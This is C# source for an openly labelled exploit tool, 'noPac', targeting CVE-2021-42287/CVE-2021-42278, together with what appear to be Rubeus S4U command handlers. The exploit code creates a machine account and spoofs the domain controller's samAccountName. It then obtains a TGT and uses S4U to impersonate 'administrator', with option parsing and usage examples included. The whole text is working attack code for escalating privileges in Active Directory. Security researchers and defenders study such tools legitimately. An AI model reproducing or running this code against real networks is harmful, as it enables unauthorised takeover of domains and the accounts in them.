static void Main(string[] args) { string argDomainUser = ""; string argDomainUserPassword = ""; string argContainer = "COMPUTERS"; string argDistinguishedName = ""; string argDomain = ""; string argDomainController = ""; string argTargetSPN = ""; string argService = "LDAP"; string argImpersonate = "administrator"; bool argPTT = false; //machine account string argMachineAccount = ""; string argMachinePassword = ""; bool argRandom = false; bool argVerbose = true; Rubeus.lib.Interop.LUID luid = new Rubeus.lib.Interop.LUID(); if (args == null || !args.Any()) { Console.WriteLine(); Console.WriteLine("CVE-2021-42287/CVE-2021-42278 Scanner & Exploiter"); Console.WriteLine("By @Cube0x0"); Console.WriteLine(); Console.WriteLine("/domain /user /pass argument needed for scanning"); Console.WriteLine("/dc /mAccount /nPassword argument needed for exploitation"); Console.WriteLine(); Console.WriteLine("Examples:"); Console.WriteLine(" noPac.exe scan -domain htb.local -user domain_user -pass 'Password123!'"); Console.WriteLine(" noPac.exe -dc dc02.htb.local -mAccount demo -mPassword Password123!"); Console.WriteLine(" noPac.exe -domain htb.local -user domain_user -pass 'Password123!' /dc dc02.htb.local /mAccount demo /mPassword Password123!"); Console.WriteLine(" noPac.exe -domain htb.local -user domain_user -pass 'Password123!' /dc dc02.htb.local /mAccount demo123 /mPassword Password123! /service cifs /ptt"); return; } foreach (var entry in args.Select((value, index) => new { index, value })) { string argument = entry.value.ToUpper(); switch (argument) { case "-DOMAIN": case "/DOMAIN": argDomain = args[entry.index + 1]; break; case "-USER": case "/USER": argDomainUser = args[entry.index + 1]; break; case "-PASS": case "/PASS": argDomainUserPassword = args[entry.index + 1]; break; case "-DC": case "/DC": argDomainController = args[entry.index + 1]; break; case "-MACCOUNT": case "/MACCOUNT": argMachineAccount = args[entry.index + 1]; break; case "-MPASSWORD": case "/MPASSWORD": argMachinePassword = args[entry.index + 1]; break; case "-SERVICE": case "/SERVICE": argService = args[entry.index + 1]; break; case "-IMPERSONATE": case "/IMPERSONATE": argImpersonate = args[entry.index + 1]; break; case "-PTT": case "/PTT": argPTT = true; break; } } NetworkCredential credential = new NetworkCredential(argDomainUser, argDomainUserPassword, argDomain); string machineAccountPasswordHash = Crypto.KerberosPasswordHash(Interop.KERB_ETYPE.rc4_hmac, argMachinePassword); string domainUserPasswordHash = Crypto.KerberosPasswordHash(Interop.KERB_ETYPE.rc4_hmac, argDomainUserPassword); if (args.Length >= 1) { if (args[0] == "scan") { if (string.IsNullOrEmpty(argDomain) || string.IsNullOrEmpty(argDomainUser) || string.IsNullOrEmpty(argDomainUserPassword)) { Console.WriteLine("[-] /domain /user /pass argument needed for scanning"); return; } scan(argDomain, argDomainUser, argDomainUserPassword, domainUserPasswordHash, argDomainController); return; } if (string.IsNullOrEmpty(argDomainController) || string.IsNullOrEmpty(argMachineAccount) || string.IsNullOrEmpty(argMachinePassword)) { Console.WriteLine("[-] /dc /mAccount /mPassword argument needed for exploitation"); return; } argTargetSPN = $"{argService}/{argDomainController}"; if (String.IsNullOrEmpty(argDomain)) { argDomain = String.Join(".", argDomainController.Split('.').Skip(1).ToArray()); } } //new machine account try { NewMachineAccount(argContainer, argDistinguishedName, argDomain, argDomainController, argMachineAccount, argMachinePassword, argVerbose, argRandom, credential); } catch (DirectoryOperationException e) { //so we can rerun the tool using the same machine account or reuse machine account if (!e.Message.Contains("The object exists")) { Console.WriteLine("[-] Failed to create machine account"); return; } } //clean spn SetMachineAccountAttribute(argContainer, argDistinguishedName, argDomain, argDomainController, "serviceprincipalname", argMachineAccount, "", false, true, argVerbose, credential); //set samaccountname SetMachineAccountAttribute(argContainer, argDistinguishedName, argDomain, argDomainController, "samaccountname", argMachineAccount, argDomainController.Split('.')[0], false, false, argVerbose, credential); //ask tgt byte[] ticket = Ask.TGT(argDomainController.Split('.')[0], argDomain, machineAccountPasswordHash, Interop.KERB_ETYPE.rc4_hmac, "", false, argDomainController, luid, false, false, "", false, true); if (ticket.Length > 0) { Console.WriteLine("[+] Got TGT for {0}", argDomainController); //Console.WriteLine(Convert.ToBase64String(ticket)); } else { Console.WriteLine("[-] Could not get TGT for {0}", argDomainController); return; } //undo samaccountname change SetMachineAccountAttribute(argContainer, argDistinguishedName, argDomain, argDomainController, "samaccountname", argMachineAccount, argMachineAccount, false, false, argVerbose, credential); //s4u KRB_CRED kirbi = new KRB_CRED(ticket); S4U.Execute(kirbi, argImpersonate, "", "", argPTT, argDomainController, argTargetSPN, null, "", "", true, false, false, machineAccountPasswordHash, Interop.KERB_ETYPE.rc4_hmac, argDomain, ""); }
public void Execute(Dictionary <string, string> arguments) { Console.WriteLine("[*] Action: S4U\r\n"); string targetUser = ""; string targetSPN = ""; string altSname = ""; string user = ""; string domain = ""; string hash = ""; string outfile = ""; bool ptt = false; string dc = ""; string targetDomain = ""; string targetDC = ""; string impersonateDomain = ""; bool self = false; bool opsec = false; bool bronzebit = false; bool pac = true; Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial; // throwaway placeholder, changed to something valid KRB_CRED tgs = null; if (arguments.ContainsKey("/user")) { string[] parts = arguments["/user"].Split('\\'); if (parts.Length == 2) { domain = parts[0]; user = parts[1]; } else { user = arguments["/user"]; } } if (arguments.ContainsKey("/domain")) { domain = arguments["/domain"]; } if (arguments.ContainsKey("/ptt")) { ptt = true; } if (arguments.ContainsKey("/dc")) { dc = arguments["/dc"]; } if (arguments.ContainsKey("/rc4")) { hash = arguments["/rc4"]; encType = Interop.KERB_ETYPE.rc4_hmac; } if (arguments.ContainsKey("/aes256")) { hash = arguments["/aes256"]; encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; } if (arguments.ContainsKey("/impersonateuser")) { if (arguments.ContainsKey("/tgs")) { Console.WriteLine("\r\n[X] You must supply either a /impersonateuser or a /tgs, but not both.\r\n"); return; } targetUser = arguments["/impersonateuser"]; } if (arguments.ContainsKey("/impersonatedomain")) { impersonateDomain = arguments["/impersonatedomain"]; } if (arguments.ContainsKey("/targetdomain")) { targetDomain = arguments["/targetdomain"]; } if (arguments.ContainsKey("/targetdc")) { targetDC = arguments["/targetdc"]; } if (arguments.ContainsKey("/outfile")) { outfile = arguments["/outfile"]; } if (arguments.ContainsKey("/msdsspn")) { targetSPN = arguments["/msdsspn"]; } if (arguments.ContainsKey("/altservice")) { altSname = arguments["/altservice"]; } if (arguments.ContainsKey("/self")) { self = true; } if (arguments.ContainsKey("/opsec")) { opsec = true; } if (arguments.ContainsKey("/bronzebit")) { bronzebit = true; } if (arguments.ContainsKey("/nopac")) { pac = false; } if (arguments.ContainsKey("/tgs")) { string kirbi64 = arguments["/tgs"]; if (Helpers.IsBase64String(kirbi64)) { byte[] kirbiBytes = Convert.FromBase64String(kirbi64); tgs = new KRB_CRED(kirbiBytes); } else if (File.Exists(kirbi64)) { byte[] kirbiBytes = File.ReadAllBytes(kirbi64); tgs = new KRB_CRED(kirbiBytes); } else { Console.WriteLine("\r\n[X] /tgs:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); return; } targetUser = tgs.enc_part.ticket_info[0].pname.name_string[0]; } if (String.IsNullOrEmpty(domain)) { domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName; } if (String.IsNullOrEmpty(targetUser) && tgs == null) { Console.WriteLine("\r\n[X] You must supply a /tgs to impersonate!\r\n"); Console.WriteLine("[X] Alternatively, supply a /impersonateuser to perform S4U2Self first.\r\n"); return; } if (String.IsNullOrEmpty(targetSPN) && tgs != null) { Console.WriteLine("\r\n[X] If a /tgs is supplied, you must also supply a /msdsspn !\r\n"); return; } if (arguments.ContainsKey("/ticket")) { string kirbi64 = arguments["/ticket"]; if (Helpers.IsBase64String(kirbi64)) { byte[] kirbiBytes = Convert.FromBase64String(kirbi64); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); S4U.Execute(kirbi, targetUser, targetSPN, outfile, ptt, dc, altSname, tgs, targetDC, targetDomain, self, opsec, bronzebit, hash, encType, domain, impersonateDomain); } else if (File.Exists(kirbi64)) { byte[] kirbiBytes = File.ReadAllBytes(kirbi64); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); S4U.Execute(kirbi, targetUser, targetSPN, outfile, ptt, dc, altSname, tgs, targetDC, targetDomain, self, opsec, bronzebit, hash, encType, domain, impersonateDomain); } else { Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); } return; } else if (arguments.ContainsKey("/user")) { // if the user is supplying a user and rc4/aes256 hash to first execute a TGT request user = arguments["/user"]; if (String.IsNullOrEmpty(hash)) { Console.WriteLine("\r\n[X] You must supply a /rc4 or /aes256 hash!\r\n"); return; } S4U.Execute(user, domain, hash, encType, targetUser, targetSPN, outfile, ptt, dc, altSname, tgs, targetDC, targetDomain, self, opsec, bronzebit, pac); return; } else { Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied for S4U!\r\n"); Console.WriteLine("[X] Alternatively, supply a /user and </rc4:X | /aes256:X> hash to first retrieve a TGT.\r\n"); return; } }
public void Execute(Dictionary <string, string> arguments) { string targetUser = ""; string targetSPN = ""; string altSname = ""; string user = ""; string domain = ""; string hash = ""; bool ptt = false; string dc = ""; Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial; // throwaway placeholder, changed to something valid if (arguments.ContainsKey("/user")) { string[] parts = arguments["/user"].Split('\\'); if (parts.Length == 2) { domain = parts[0]; user = parts[1]; } else { user = arguments["/user"]; } } if (arguments.ContainsKey("/domain")) { domain = arguments["/domain"]; } if (arguments.ContainsKey("/ptt")) { ptt = true; } if (arguments.ContainsKey("/dc")) { dc = arguments["/dc"]; } if (arguments.ContainsKey("/rc4")) { hash = arguments["/rc4"]; encType = Interop.KERB_ETYPE.rc4_hmac; } if (arguments.ContainsKey("/aes256")) { hash = arguments["/aes256"]; encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; } if (arguments.ContainsKey("/impersonateuser")) { targetUser = arguments["/impersonateuser"]; } if (arguments.ContainsKey("/msdsspn")) { targetSPN = arguments["/msdsspn"]; } if (arguments.ContainsKey("/altservice")) { altSname = arguments["/altservice"]; } if (String.IsNullOrEmpty(domain)) { domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName; } if (String.IsNullOrEmpty(targetUser)) { Console.WriteLine("\r\n[X] You must supply a /impersonateuser to impersonate!\r\n"); return; } if (String.IsNullOrEmpty(targetSPN)) { Console.WriteLine("\r\n[X] You must supply a /msdsspn !\r\n"); return; } if (arguments.ContainsKey("/ticket")) { string kirbi64 = arguments["/ticket"]; if (Helpers.IsBase64String(kirbi64)) { byte[] kirbiBytes = Convert.FromBase64String(kirbi64); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname); } else if (File.Exists(kirbi64)) { byte[] kirbiBytes = File.ReadAllBytes(kirbi64); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname); } else { Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); } return; } else if (arguments.ContainsKey("/user")) { // if the user is supplying a user and rc4/aes256 hash to first execute a TGT request user = arguments["/user"]; if (String.IsNullOrEmpty(hash)) { Console.WriteLine("\r\n[X] You must supply a /rc4 or /aes256 hash!\r\n"); return; } S4U.Execute(user, domain, hash, encType, targetUser, targetSPN, ptt, dc, altSname); return; } else { Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied for S4U!\r\n"); Console.WriteLine("[X] Alternatively, supply a /user and </rc4:X | /aes256:X> hash to first retrieve a TGT.\r\n"); return; } }